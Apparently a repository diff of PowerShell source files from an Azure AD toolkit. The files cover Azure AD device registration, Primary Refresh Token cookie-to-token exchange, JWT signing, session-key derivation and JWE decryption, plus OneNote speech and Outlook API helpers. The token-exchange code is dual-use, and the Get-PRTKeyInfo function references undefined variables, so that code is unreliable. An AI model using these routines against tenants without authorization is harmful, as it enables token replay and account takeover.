Buffer.BlockCopy(
BitConverter.GetBytes(this._data[i]), 0,
rgb, i * 8,
8);
}
Buffer.BlockCopy(
BitConverter.GetBytes(this._data[this._data.Length - 1]), 0,
rgb, (this._data.Length - 1) * 8,
rgb.Length - (this._data.Length - 1) * 8);
// XOR the file length with the least significant bits
// Note that GetBytes is architecture-dependent, so care should
// be taken with porting. The expected value is 8-bytes in length in little-endian format
var lengthBytes = BitConverter.GetBytes(this._lengthSoFar);
System.Diagnostics.Debug.Assert(lengthBytes.Length == 8);
for (int i = 0; i < lengthBytes.Length; i++)
{
rgb[(QuickXorHash.WidthInBits / 8) - lengthBytes.Length + i] ^= lengthBytes[i];
}
return rgb;
}
public override sealed void Initialize()
{
this._data = new ulong[(QuickXorHash.WidthInBits - 1) / 64 + 1];
this._shiftSoFar = 0;
this._lengthSoFar = 0;
}
public override int HashSize
{
get
{
return QuickXorHash.WidthInBits;
}
}
}
"@
Add-Type -TypeDefinition $xorhash_code -Language CSharp
Remove-Variable $xorhash_code
# Calculates XorHash for OneDrive files
# Dec 9th 2019
function Get-XorHash
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[string]$FileName
)
Process
{
# Get the full path..
$fullpath = (Get-Item $FileName).FullName
# Create a stream to read bytes
$stream = [System.IO.FileStream]::new($fullpath,[System.IO.FileMode]::Open,[System.IO.FileAccess]::Read)
# Create the hash object and do the magic
$xorhash = [quickxorhash]::new()
$hash = $xorhash.ComputeHash($stream)
$b64Hash = [convert]::ToBase64String($hash)
# Return
$b64Hash
}
}
+140
View File
@@ -0,0 +1,140 @@
# Speaks out the given text.
# Feb 22nd 2022
function Start-Speech
{
<#
.SYNOPSIS
Gets mp3 stream of the given text and plays it with Media player.
.DESCRIPTION
Gets mp3 stream of the given text using learning tools API and plays it with Media player.
.Parameter AccessToken
The access token used to get the speech.
.Parameter Language
The language code. Defaults to "en-US"
.Parameter PreferredVoice
Male or Female voice, defaults to Female.
.Parameter Text
The text to speak.
.Example
PS C:\>Get-AADIntAccessTokenForOneNote -SaveToCache
PS C:\>Start-AADIntSpeech -Text "Three Swedish switched witches watch three Swiss Swatch watch switches. Which Swedish switched witch watch which Swiss Swatch watch switch?" -Language "en-GB" -PreferredVoice Male
.Example
PS C:\>Get-AADIntAccessTokenForOneNote -SaveToCache
PS C:\>Start-AADIntSpeech -Text "Mustan kissan paksut posket" -PreferredVoice Female -Language fi-FI
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$Text,
[Parameter(Mandatory=$False)]
[String]$Language = "en-US",
[Parameter(Mandatory=$False)]
[ValidateSet("Female","Male")]
[String]$PreferredVoice = "Female"
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://onenote.com" -ClientId "1fec8e78-bce4-4aaf-ab1b-5451cc387264"
# Construct the body
$body = @{
"data" = [ordered]@{
"title" = "The King's Speech"
"chunks" = @(
[ordered]@{
"content" = $Text
"mimeType" = "text/plain"
}
)
"startingChunkIndex" = 0
"startingCharIndex" = 0
}
}
# Set the headers
$headers=@{
"Authorization" = "Bearer $AccessToken"
"Accept-Language" = $Language
"MS-Int-AppId" = "Teams"
}
# Invoke the command
$contentModel = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://learningtools.onenote.com/learningtoolsapi/v2.0/getcontentmodelforreader" -Headers $headers -Body ($body | ConvertTo-Json -Depth 5) -ContentType "application/json; charset=utf-8"
# Construct the body
$body = [ordered]@{
"data" = [ordered]@{
"sentenceModels" = @(
[ordered]@{
"t" = $Text
"lang" = $Language
"se" = $contentModel.data[0].formatting.b.r[0].i[0]
"wo" = @()
}
)
}
"options" = [ordered]@{
"preferredVoice" = $PreferredVoice
"extractWordMarkers" = $True
"encoding" = "Wav"
"clientLabel" = "ReadAloudFirstPrefetch"
"useBrowserSpecifiedDialect" = $True
}
}
# Set the headers
$headers=@{
"Authorization" = "MS-SessionToken $($contentModel.meta.sessionToken)"
"X-UserSessionId" = $contentModel.meta.sessionId
"Accept-Language" = $Language
"MS-Int-AppId" = "Teams"
}
# Invoke the command
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://learningtools.onenote.com/learningtoolsapi/v2.0/GetSpeech" -Headers $headers -Body ($body | ConvertTo-Json -Depth 5) -ContentType "application/json"
$mp3B64 = $response.data.sb[0].ad.Split(",")[1]
# Create a temporary file
$tmp = New-TemporaryFile
Rename-Item -Path $tmp.FullName -NewName ($tmp.Name+".mp3")
$mp3 = ($tmp.FullName+".mp3")
try
{
Set-BinaryContent -Path $mp3 -Value [byte[]](Convert-B64ToByteArray -B64 $mp3B64)
$player = [System.Windows.Media.MediaPlayer]::new()
$player.Open($mp3)
# Pause for a while to populate the duration
Start-Sleep -Milliseconds 100
$player.Play()
# Wait till completed
while($player.Position -lt $player.NaturalDuration.TimeSpan)
{
Start-Sleep -Milliseconds 10
}
$player.Close()
}
catch
{
}
finally
{
# Remove the temp file
Remove-Item $mp3
}
}
}
+148
View File
File diff suppressed because one or more lines are too long
+63
View File
@@ -0,0 +1,63 @@
# Utilities for Outlook Rest API
# Escapes string to Json
function Escape-StringToJson
{
Param(
[Parameter(Mandatory=$True)]
[String]$String
)
Process
{
# ConvertTo-Json escapes strings automatically
$String | ConvertTo-Json
}
}
# Calls Outlook Rest API
function Call-OutlookAPI
{
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$Request,
[Parameter(Mandatory=$True)]
[String]$Command,
[Parameter(Mandatory=$False)]
[ValidateSet('Get','Post','Patch','Delete')]
[String]$Method="Get",
[Parameter(Mandatory=$False)]
[ValidateSet('v1.0','v2.0','beta')]
[String]$Api="v2.0"
)
Process
{
$headers = @{
"Authorization" = "Bearer $AccessToken"
"Accept" = "text/*, multipart/mixed, application/xml, application/json; odata.metadata=none"
"Content-Type" = "application/json; charset=utf-8"
"X-AnchorMailbox" = (Read-Accesstoken $AccessToken).upn
"Prefer" = 'exchange.behavior="ActivityAccess"'
}
$url="https://outlook.office.com/api/$Api/$Command"
if($Method -ne "Post" -and $Method -ne "Patch")
{
$response=Invoke-RestMethod -UseBasicParsing -Uri $Url -Method $Method -Headers $headers
}
else
{
$response=Invoke-RestMethod -UseBasicParsing -Uri $Url -Method $Method -Headers $headers -Body $Request
}
$response.value
}
}
+1740
View File
File diff suppressed because it is too large Load Diff
+869
View File
@@ -0,0 +1,869 @@
# Aug 21st 2020
function Register-DeviceToAzureAD
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$DeviceName,
[Parameter(Mandatory=$False)]
[String]$DeviceType,
[Parameter(Mandatory=$False)]
[String]$OSVersion,
[Parameter(Mandatory=$False)]
[Bool]$SharedDevice=$False,
[Parameter(Mandatory=$False)]
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate,
[Parameter(Mandatory=$False)]
[String]$DomainName,
[Parameter(Mandatory=$False)]
[Guid]$TenantId,
[Parameter(Mandatory=$False)]
[String]$DomainController,
[Parameter(Mandatory=$False)]
[String]$SID,
[Parameter(Mandatory=$False)]
[Bool]$RegisterOnly=$false
)
Process
{
# If certificate provided, this is a Hybrid Join
if($hybrid = $Certificate -ne $null)
{
# Load the "user" certificate private key
try
{
$privateKey = Load-PrivateKey -Certificate $Certificate
}
catch
{
Write-Error "Could not extract the private key from the given certificate!"
return
}
$deviceId = $certificate.Subject.Split("=")[1]
try
{
$deviceIdGuid = [Guid]$deviceId
}
catch
{
Write-Error "The certificate subject is not a valid device id (GUID)!"
return
}
# Create the signature blob
$clientIdentity = "$($SID).$((Get-Date).ToUniversalTime().ToString("u"))"
$bClientIdentity = [System.Text.Encoding]::ASCII.GetBytes($clientIdentity)
$signedBlob = $privateKey.SignData($bClientIdentity, "SHA256")
$b64SignedBlob = Convert-ByteArrayToB64 -Bytes $signedBlob
}
else
{
# Get the domain and tenant id
$at_info = Read-Accesstoken -AccessToken $AccessToken
if([string]::IsNullOrEmpty($DomainName))
{
if($at_info.upn)
{
$DomainName = $at_info.upn.Split("@")[1]
}
else
{
# Access Token fetched with SAML token so no upn
# "unique_name" = "http://<domain>/adfs/services/trust/#"
$DomainName = $at_info.unique_name.split("/")[2]
$hybridSAML = $true
}
}
$tenantId = [GUID]$at_info.tid
$headers=@{"Authorization" = "Bearer $AccessToken"}
}
# Create a private key
$rsa = [System.Security.Cryptography.RSA]::Create(2048)
# Initialize the Certificate Signing Request object
$CN = "CN=7E980AD9-B86D-4306-9425-9AC066FB014A"
$req = [System.Security.Cryptography.X509Certificates.CertificateRequest]::new($CN, $rsa, [System.Security.Cryptography.HashAlgorithmName]::SHA256,[System.Security.Cryptography.RSASignaturePadding]::Pkcs1)
# Create the signing request
$csr = Convert-ByteArrayToB64 -Bytes $req.CreateSigningRequest()
# Use the device private key as a transport key just to make things simpler
$transportKey = Convert-ByteArrayToB64 -Bytes $rsa.Key.Export([System.Security.Cryptography.CngKeyBlobFormat]::GenericPublicBlob)
# Create the request body
# JoinType 0 = Azure AD join, transport key = device key
# JoinType 4 = Azure AD registered, transport key = device key
# JoinType 6 = Azure AD hybrid join, transport key = device key. Hybrid join this way is not supported, there must be an existing device with user cert.
$body=@{
"CertificateRequest" = @{
"Type" = "pkcs10"
"Data" = $csr
}
"Attributes" = @{
"ReuseDevice" = "$true"
"ReturnClientSid" = "$true"
"SharedDevice" = "$SharedDevice"
}
}
if($hybrid)
{
$body["JoinType"] = 6 # Hybrid Join
$body["ServerAdJoinData"] = @{
"TransportKey" = $transportKey
"TargetDomain" = $DomainName
"DeviceType" = $DeviceType
"OSVersion" = $OSVersion
"DeviceDisplayName" = $DeviceName
"SourceDomainController" = $DomainController
"TargetDomainId" = $tenantId.ToString()
"ClientIdentity" = @{
"Type" = "sha256signed"
"Sid" = $clientIdentity
"SignedBlob" = $b64SignedBlob
}
}
}
else
{
if($hybridSAML)
{
$body["JoinType"] = 6 # Hybrid Join
}
elseif($RegisterOnly)
{
$body["JoinType"] = 4 # Register
}
else
{
$body["JoinType"] = 0 # Join
}
$body["TransportKey"] = $transportKey
$body["TargetDomain"] = $DomainName
$body["DeviceType"] = $DeviceType
$body["OSVersion"] = $OSVersion
$body["DeviceDisplayName"] = $DeviceName
}
# Make the enrollment request
try
{
if($hybrid)
{
$response = Invoke-RestMethod -UseBasicParsing -Method Put -Uri "https://enterpriseregistration.windows.net/EnrollmentServer/device/$deviceId`?api-version=1.0" -Body $($body | ConvertTo-Json -Depth 5) -ContentType "application/json; charset=utf-8"
}
else
{
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://enterpriseregistration.windows.net/EnrollmentServer/device/?api-version=1.0" -Headers $headers -Body $($body | ConvertTo-Json -Depth 5) -ContentType "application/json; charset=utf-8"
}
}
catch
{
Write-Error $_
return
}
Write-Debug "RESPONSE: $response"
# Get the certificate
$binCert = [byte[]] (Convert-B64ToByteArray -B64 $response.Certificate.RawBody)
# Create a new x509certificate
$cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new($binCert,"",[System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::UserKeySet -band [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::Exportable)
# Store the private key to so that it can be exported
$cspParameters = [System.Security.Cryptography.CspParameters]::new()
$cspParameters.ProviderName = "Microsoft Enhanced RSA and AES Cryptographic Provider"
$cspParameters.ProviderType = 24
$cspParameters.KeyContainerName ="AADInternals"
# Set the private key
$privateKey = [System.Security.Cryptography.RSACryptoServiceProvider]::new(2048,$cspParameters)
$privateKey.ImportParameters($rsa.ExportParameters($true))
$cert.PrivateKey = $privateKey
# Return
$returnValue=@(
$cert
$response
)
return $returnValue
}
}
# Aug 21st 2020
function Sign-JWT
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[System.Security.Cryptography.RSA]$PrivateKey,
[Parameter(Mandatory=$False)]
[Byte[]]$Key,
[Parameter(Mandatory=$True)]
[byte[]]$Data
)
Process
{
if($PrivateKey)
{
# Sign the JWT (RS256)
$signature = $PrivateKey.SignData($Data, [System.Security.Cryptography.HashAlgorithmName]::SHA256, [System.Security.Cryptography.RSASignaturePadding]::Pkcs1)
}
else
{
# Sign the JWT (HS256)
$hmac = New-Object System.Security.Cryptography.HMACSHA256 -ArgumentList @(,$Key)
$signature = $hmac.ComputeHash($Data)
$hmac.Dispose()
}
# Return
return $signature
}
}
# Aug 24th 2020
# Derives a 32 byte key using the given context and session key
function Get-PRTDerivedKey
{
[cmdletbinding()]
Param(
[Parameter(ParameterSetName='Byte',Mandatory=$True)]
[byte[]]$Context,
[Parameter(ParameterSetName='Byte',Mandatory=$True)]
[byte[]]$SessionKey,
[Parameter(ParameterSetName='B64',Mandatory=$True)]
[string]$B64Context,
[Parameter(ParameterSetName='B64',Mandatory=$True)]
[string]$B64SessionKey,
[Parameter(ParameterSetName='Hex',Mandatory=$True)]
[string]$HexContext,
[Parameter(ParameterSetName='Hex',Mandatory=$True)]
[string]$HexSessionKey
)
Process
{
if($B64Context)
{
$Context = Convert-B64ToByteArray $B64Context
$SessionKey = Convert-B64ToByteArray $B64SessionKey
}
elseif($HexContext)
{
$Context = Convert-HexToByteArray $HexContext
$SessionKey = Convert-HexToByteArray $HexSessionKey
}
# Fixed label
$label = [text.encoding]::UTF8.getBytes("AzureAD-SecureConversation")
# Derive the decryption key using a standard NIST SP 800-108 KDF
# As the key size is only 32 bytes (256 bits), no need to loop :)
$computeValue = @(0x00,0x00,0x00,0x01) + $label + @(0x00) + $Context + @(0x00,0x00,0x01,0x00)
$hmac = New-Object System.Security.Cryptography.HMACSHA256 -ArgumentList @(,$SessionKey)
$hmacOutput = $hmac.ComputeHash($computeValue)
Write-Verbose "DerivedKey: $(Convert-ByteArrayToHex $hmacOutput)"
# Return
$hmacOutput
}
}
# Get the access token with PRT
# Aug 20th 2020
function Get-AccessTokenWithPRT
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Cookie,
[Parameter(Mandatory=$True)]
[String]$Resource,
[Parameter(Mandatory=$True)]
[String]$ClientId,
[Parameter(Mandatory=$False)]
[String]$RedirectUri="urn:ietf:wg:oauth:2.0:oob",
[switch]$GetNonce
)
Process
{
$parsedCookie = Read-Accesstoken $Cookie
# Create parameters
$mscrid = (New-Guid).ToString()
$requestId = $mscrid
# Create url and headers
$url = "https://login.microsoftonline.com/Common/oauth2/authorize?resource=$Resource&client_id=$ClientId&response_type=code&redirect_uri=$RedirectUri&client-request-id=$requestId&mscrid=$mscrid"
# Add sso_nonce if exist
if($parsedCookie.request_nonce)
{
$url += "&sso_nonce=$($parsedCookie.request_nonce)"
}
$headers = @{
"User-Agent" = ""
"x-ms-RefreshTokenCredential" = $Cookie
}
# First, make the request to get the authorisation code (tries to redirect so throws an error)
$response = Invoke-RestMethod -UseBasicParsing -Uri $url -Headers $headers -MaximumRedirection 0 -ErrorAction SilentlyContinue
Write-Debug "RESPONSE: $($response.OuterXml)"
# Try to parse the code from the response
if($response.html.body.script)
{
$values = $response.html.body.script.Split("?").Split("\")
foreach($value in $values)
{
$row=$value.Split("=")
if($row[0] -eq "code")
{
$code = $row[1]
Write-Verbose "CODE: $code"
break
}
}
}
if(!$code)
{
if($response.html.body.h2.a.href -ne $null)
{
$values = $response.html.body.h2.a.href.Split("&")
foreach($value in $values)
{
$row=$value.Split("=")
if($row[0] -eq "sso_nonce")
{
$sso_nonce = $row[1]
if($GetNonce)
{
# Just return the nonce
return $sso_nonce
}
else
{
# Invalid PRT, nonce is required
Write-Warning "Nonce needed. Try New-AADIntUserPRTToken with -GetNonce switch or -Nonce $sso_nonce parameter"
break
}
}
}
}
throw "Code not received!"
}
# Create the body
$body = @{
client_id = $ClientId
grant_type = "authorization_code"
code = $code
redirect_uri = $RedirectUri
}
# Make the second request to get the access token
$response = Invoke-RestMethod -UseBasicParsing -Uri "https://login.microsoftonline.com/common/oauth2/token" -Body $body -ContentType "application/x-www-form-urlencoded" -Method Post
Write-Debug "ACCESS TOKEN: $($response.access_token)"
Write-Debug "REFRESH TOKEN: $($response.refresh_token)"
# Return
return $response
}
}
# Get the access token with BPRT
# Jan 10th 2021
function Get-AccessTokenWithBPRT
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$BPRT,
[Parameter(Mandatory=$True)]
[String]$Resource,
[Parameter(Mandatory=$True)]
[String]$ClientId
)
Process
{
Get-AccessTokenWithRefreshToken -Resource "urn:ms-drs:enterpriseregistration.windows.net" -ClientId "b90d5b8f-5503-4153-b545-b31cecfaece2" -TenantId "Common" -RefreshToken $BPRT
}
}
# Get the token with deviceid claim
# Aug 28th
function Set-AccessTokenDeviceAuth
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[bool]$BPRT,
[Parameter(Mandatory=$False)]
[string]$AccessToken,
[Parameter(Mandatory=$True)]
[string]$RefreshToken,
[Parameter(Mandatory=$False)]
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate,
[Parameter(Mandatory=$False)]
[string]$PfxFileName,
[Parameter(Mandatory=$False)]
[string]$PfxPassword,
[Parameter(Mandatory=$False)]
[string]$TransportKeyFileName
)
Process
{
if(!$Certificate)
{
$Certificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword -Exportable
}
if($BPRT)
{
# Fixed values for BPRT to get access token for Intune MDM
$clientId = "b90d5b8f-5503-4153-b545-b31cecfaece2"
$resource = "https://enrollment.manage.microsoft.com/"
}
else
{
# This is the only supported client id :(
$clientId = "29d9ed98-a469-4536-ade2-f981bc1d605e"
# Get the claims from the access token to get the resource
$claims = Read-Accesstoken -AccessToken $AccessToken
$resource = $claims.aud
}
# Get the private key
if($TransportKeyFileName)
{
# Get the transport key from the provided file
$tkPEM = (Get-Content $TransportKeyFileName) -join "`n"
$tkParameters = Convert-PEMToRSA -PEM $tkPEM
$privateKey = [System.Security.Cryptography.RSA]::Create($tkParameters)
}
else
{
$privateKey = Load-PrivateKey -Certificate $Certificate
}
$body=@{
"grant_type" = "srv_challenge"
"windows_api_version" = "2.0"
"client_id" = $clientId
"redirect_uri" = "ms-appx-web://Microsoft.AAD.BrokerPlugin/DRS"
"resource" = $resource
}
if($BPRT)
{
$body.Remove("redirect_uri")
}
# Get the nonce
$nonce = (Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/token" -Body $body).Nonce
# B64 encode the public key
$x5c = Convert-ByteArrayToB64 -Bytes ($certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Cert))
# Create the header and body
$hdr = [ordered]@{
"alg" = "RS256"
"typ" = "JWT"
"x5c" = "$x5c"
}
$OSVersion="10.0.18362.997"
$pld = [ordered]@{
"win_ver" = $OSVersion
"resource" = $resource
"scope" = "openid aza"
"request_nonce" = $nonce
"refresh_token" = $RefreshToken
"redirect_uri" = "ms-appx-web://Microsoft.AAD.BrokerPlugin/DRS"
"iss" = "aad:brokerplugin"
"grant_type" = "refresh_token"
"client_id" = $clientId
}
if($BPRT)
{
$pld.Remove("redirect_uri")
$pld["scope"] = "openid"
}
# Create the JWT
$jwt = New-JWT -PrivateKey $privateKey -Header $hdr -Payload $pld
# Construct the body
$body = @{
"windows_api_version" = "2.0"
"grant_type" = "urn:ietf:params:oauth:grant-type:jwt-bearer"
"request" = "$jwt"
}
# Make the request to get the new access token
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/token" -ContentType "application/x-www-form-urlencoded" -Body $body
if($BPRT)
{
$response | Add-Member -NotePropertyName "refresh_token" -NotePropertyValue $RefreshToken
}
Write-Debug "ACCESS TOKEN: $($response.access_token)"
Write-Debug "REFRESH TOKEN: $($response.refresh_token)"
# Return
return $response
}
}
function New-JWT
{
[cmdletbinding()]
Param(
[Parameter(ParameterSetName='PrivateKey', Mandatory=$True)]
[System.Security.Cryptography.RSA]$PrivateKey,
[Parameter(ParameterSetName='Key',Mandatory=$True)]
[Byte[]]$Key,
[Parameter(Mandatory=$True)]
[System.Collections.Specialized.OrderedDictionary]$Header,
[Parameter(Mandatory=$True)]
[System.Collections.Specialized.OrderedDictionary]$Payload
)
Process
{
# Construct the header
$txtHeader = $Header | ConvertTo-Json -Compress
$txtPayload = $Payload | ConvertTo-Json -Compress
# Convert to B64 and strip the padding
$b64Header = Convert-ByteArrayToB64 -Bytes ([text.encoding]::UTF8.getBytes($txtHeader )) -NoPadding
$b64Payload = Convert-ByteArrayToB64 -Bytes ([text.encoding]::UTF8.getBytes($txtPayload)) -NoPadding
# Construct the JWT data to be signed
$binData = [text.encoding]::UTF8.GetBytes(("{0}.{1}" -f $b64Header,$b64Payload))
# Get the signature
$Binsig = Sign-JWT -PrivateKey $PrivateKey -Key $Key -Data $binData
$B64sig = Convert-ByteArrayToB64 -Bytes $Binsig -UrlEncode
# Construct the JWT
$jwt = "{0}.{1}.{2}" -f $b64Header,$b64Payload,$B64sig
# Return
return $jwt
}
}
function Get-PRTKeyInfo
{
[cmdletbinding()]
Param(
[Parameter(ParameterSetName='PrivateKey',Mandatory=$True)]
[byte[]]$PrivateKey
)
Process
{
# Create a random context
$ctx = New-Object byte[] 24
([System.Security.Cryptography.RandomNumberGenerator]::Create()).GetBytes($context)
# Get the private key
$privateKey = Load-PrivateKey -Certificate $Certificate
$body=@{
"grant_type" = "srv_challenge"
"windows_api_version" = "2.0"
"client_id" = $ClientId
"redirect_uri" = $RedirectUri
"resource" = $Resource
}
# Get the nonce
$nonce = (Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/token" -Body $body).Nonce
# B64 encode the public key
$x5c = Convert-ByteArrayToB64 -Bytes ($certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Cert))
# Create the header and body
$hdr = [ordered]@{
"alg" = "RS256"
"typ" = "JWT"
"x5c" = "$x5c"
}
$OSVersion="10.0.18362.997"
$pld = [ordered]@{
"win_ver" = $OSVersion
"resource" = $Resource
"scope" = "openid aza"
"request_nonce" = $nonce
"refresh_token" = $RefreshToken
"redirect_uri" = $RedirectUri
"iss" = "aad:brokerplugin"
"grant_type" = "refresh_token"
"client_id" = $ClientId
}
# Create the JWT
$jwt = New-JWT -PrivateKey $privateKey -Header $hdr -Payload $pld
# Construct the body
$body = @{
"windows_api_version" = "2.0"
"grant_type" = "urn:ietf:params:oauth:grant-type:jwt-bearer"
"request" = "$jwt"
}
# Make the request to get the PRT key information
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/token" -ContentType "application/x-www-form-urlencoded" -Body $body
Write-Debug "ACCESS TOKEN: $($response.access_token)"
Write-Debug "REFRESH TOKEN: $($response.refresh_token)"
# Return
return $response
}
}
# Parses the given JWE
# Dec 22nd 2021
Function Parse-JWE
{
[cmdletbinding()]
param(
[parameter(Mandatory=$True,ValueFromPipeline)]
[String]$JWE
)
process
{
$parts = $JWE.Split(".")
if($parts.Count -ne 5)
{
Throw "Invalid JWE: $($parts.Count) parts, expected 5"
}
# Decode and parse the header
$parsedJWT = Convert-B64ToText -B64 $parts[0] | ConvertFrom-Json
# Add other parts
$parsedJWT | Add-Member -NotePropertyName "Key" -NotePropertyValue $parts[1]
$parsedJWT | Add-Member -NotePropertyName "Iv" -NotePropertyValue $parts[2]
$parsedJWT | Add-Member -NotePropertyName "CipherText" -NotePropertyValue $parts[3]
$parsedJWT | Add-Member -NotePropertyName "Tag" -NotePropertyValue $parts[4]
return $parsedJWT
}
}
# Decrypt the given JWE
# Dec 22nd 2021
Function Decrypt-JWE
{
[cmdletbinding()]
param(
[Parameter(Mandatory=$True,ValueFromPipeline)]
[String]$JWE,
[Parameter(Mandatory=$True,ParameterSetName = "RSA")]
[System.Security.Cryptography.RSA]$PrivateKey,
[Parameter(Mandatory=$False,ParameterSetName = "RSA")]
[bool]$returnKey = $true,
[Parameter(Mandatory=$True,ParameterSetName = "Key")]
[byte[]]$Key,
[Parameter(Mandatory=$True,ParameterSetName = "SessionKey")]
[byte[]]$SessionKey
)
process
{
$parsedJWE = Parse-JWE -JWE $JWE
$alg = $parsedJWE.alg
if($parsedJWE.enc -ne "A256GCM")
{
Throw "Unsupported enc: $enc"
}
# Decrypt data using symmetric key
if($alg -eq "dir")
{
# Derive decryption key from the session key and context
if($SessionKey)
{
if(!$parsedJWE.ctx)
{
Throw "Missing ctx, unable to derive encryption key!"
}
$context = Convert-B64ToByteArray -B64 $parsedJWE.ctx
$key = Get-PRTDerivedKey -SessionKey $SessionKey -Context $context
}
if(!$parsedJWE.Iv -or !$parsedJWE.CipherText)
{
Throw "Missing Iv and/or CipherText, unable to decrypt!"
}
$iv = Convert-B64ToByteArray -B64 $parsedJWE.Iv
$encData = Convert-B64ToByteArray -B64 $parsedJWE.CipherText
# Create the crypto provider.
# The data is always encrypted using A256CBC instead of A256GCM, because AesCryptoServiceProvider does not support GCM mode.
$cryptoProvider = [System.Security.Cryptography.AesCryptoServiceProvider]::new()
$cryptoProvider.Key = $Key
$cryptoProvider.iv = $iv
# Create a crypto stream
$buffer = [System.IO.MemoryStream]::new()
$cryptoStream = [System.Security.Cryptography.CryptoStream]::new($buffer, $cryptoProvider.CreateDecryptor($Key,$iv),[System.Security.Cryptography.CryptoStreamMode]::Write)
# Decrypt the data
$cryptoStream.Write($encData,0,$encData.Count)
$cryptoStream.FlushFinalBlock()
$decData = $buffer.ToArray()
# Clean up
$cryptoStream.Dispose()
$cryptoProvider.Dispose()
return $decData
}
elseif($alg -eq "RSA-OAEP") # Decrypt data using encrypted key
{
if(!$PrivateKey)
{
Throw "PrivateKey required for RSA-OAEP encrypted JWE"
}
try
{
# Decrypt the content encryption key (CEK)
$encKey = Convert-B64ToByteArray -B64 $parsedJWE.Key
$CEK = [System.Security.Cryptography.RSAOAEPKeyExchangeDeformatter]::new($privateKey).DecryptKeyExchange($encKey)
# Extract the parameters
$iv = Convert-B64ToByteArray -B64 $parsedJWE.Iv
$encData = Convert-B64ToByteArray -B64 $parsedJWE.CipherText
$tag = Convert-B64ToByteArray -B64 $parsedJWE.Tag
$keyParameter = [Org.BouncyCastle.Crypto.Parameters.KeyParameter]::new($CEK)
# Append Tag to Encrypted data
$buffer = New-Object byte[] ($encData.Count + $tag.Count)
[Array]::Copy($encData,0,$buffer,0 ,$encData.Count)
[Array]::Copy($tag ,0,$buffer,$encData.Count,$tag.Count)
$encData = $buffer
# Create & init block cipher. This data is correctly encrypted with A256GCM.
$AEADParameters = [Org.BouncyCastle.Crypto.Parameters.AeadParameters]::new($keyParameter,128,$iv)
$GCMBlockCipher = [Org.BouncyCastle.Crypto.Modes.GcmBlockCipher]::new([Org.BouncyCastle.Crypto.Engines.AesFastEngine]::new())
$GCMBlockCipher.init($false, $AEADParameters)
# Create an array for the decrypted data
$decData = New-Object byte[] $GCMBlockCipher.GetOutputSize($encData.Count)
# Decrypt the data
$res = $GCMBlockCipher.ProcessBytes($encData, 0, $encData.Count, $decData, 0)
$res = $GCMBlockCipher.DoFinal($decData, $res)
# Return the key instead of data
if($returnKey)
{
# With session_key_jwe the decrypted data seems always to be one byte: 32
if($decData[0] -ne 32)
{
Write-Warning "Decrypted data was not 32. Key may be invalid."
}
$retVal = $CEK
}
else
{
$retVal = $decData
}
# Return
return $retVal
}
catch
{
throw "Decrypting the key failed: ""$($_.Exception.InnerException.Message)"". Are you using the correct certificate or key?"
}
}
else
{
Throw "Unsupported alg: $alg"
}
}
}
# Derivate KDFv2 context
# Mar 3rd 2022
function Get-KDFv2Context
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[Byte[]]$Context,
[Parameter(Mandatory=$True)]
[System.Collections.Specialized.OrderedDictionary]$Payload
)
Begin
{
$sha256 = [System.Security.Cryptography.SHA256]::Create()
}
Process
{
# KDFv2 (Key Derivation Function v2) uses different context: SHA256(ctx || assertion payload)
# We need to compute SHA256 hash from a byte array combined from context and payload.
# Ref: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-oapxbc/89dfb8d6-23b8-4963-8908-91b34340e367
# Get payload bytes
$pldBytes = [text.encoding]::UTF8.getBytes(($Payload | ConvertTo-Json -Compress))
# Create a buffer
$buffer = New-Object byte[] ($Context.Count + $pldBytes.Count)
# Copy context and payload to buffer
[array]::Copy($Context ,0,$buffer,0 ,$Context.Count)
[array]::Copy($pldBytes,0,$buffer,$Context.Count,$pldBytes.Count)
# Return SHA256 hash
return $sha256.ComputeHash($buffer)
}
End
{
$sha256.Dispose()
}
}
+571
View File
@@ -0,0 +1,571 @@
# PowerShell Remoting Protocol functions
# Creates a PowerShell remote shell
# Apr 24th 2019
function Create-PSRPShell
{
[cmdletbinding()]
Param(
[Parameter()]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter()]
[Bool]$Oauth=$false,
[Parameter(Mandatory=$False)]
[String]$SessionId=((New-Guid).ToString())
)
Process
{
$Body = @"
<rsp:Shell xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" Name="WinRM$(Get-Random -Maximum 1000)" ShellId="$((New-Guid).ToString().ToUpper())">
<rsp:InputStreams>stdin pr</rsp:InputStreams>
<rsp:OutputStreams>stdout</rsp:OutputStreams>
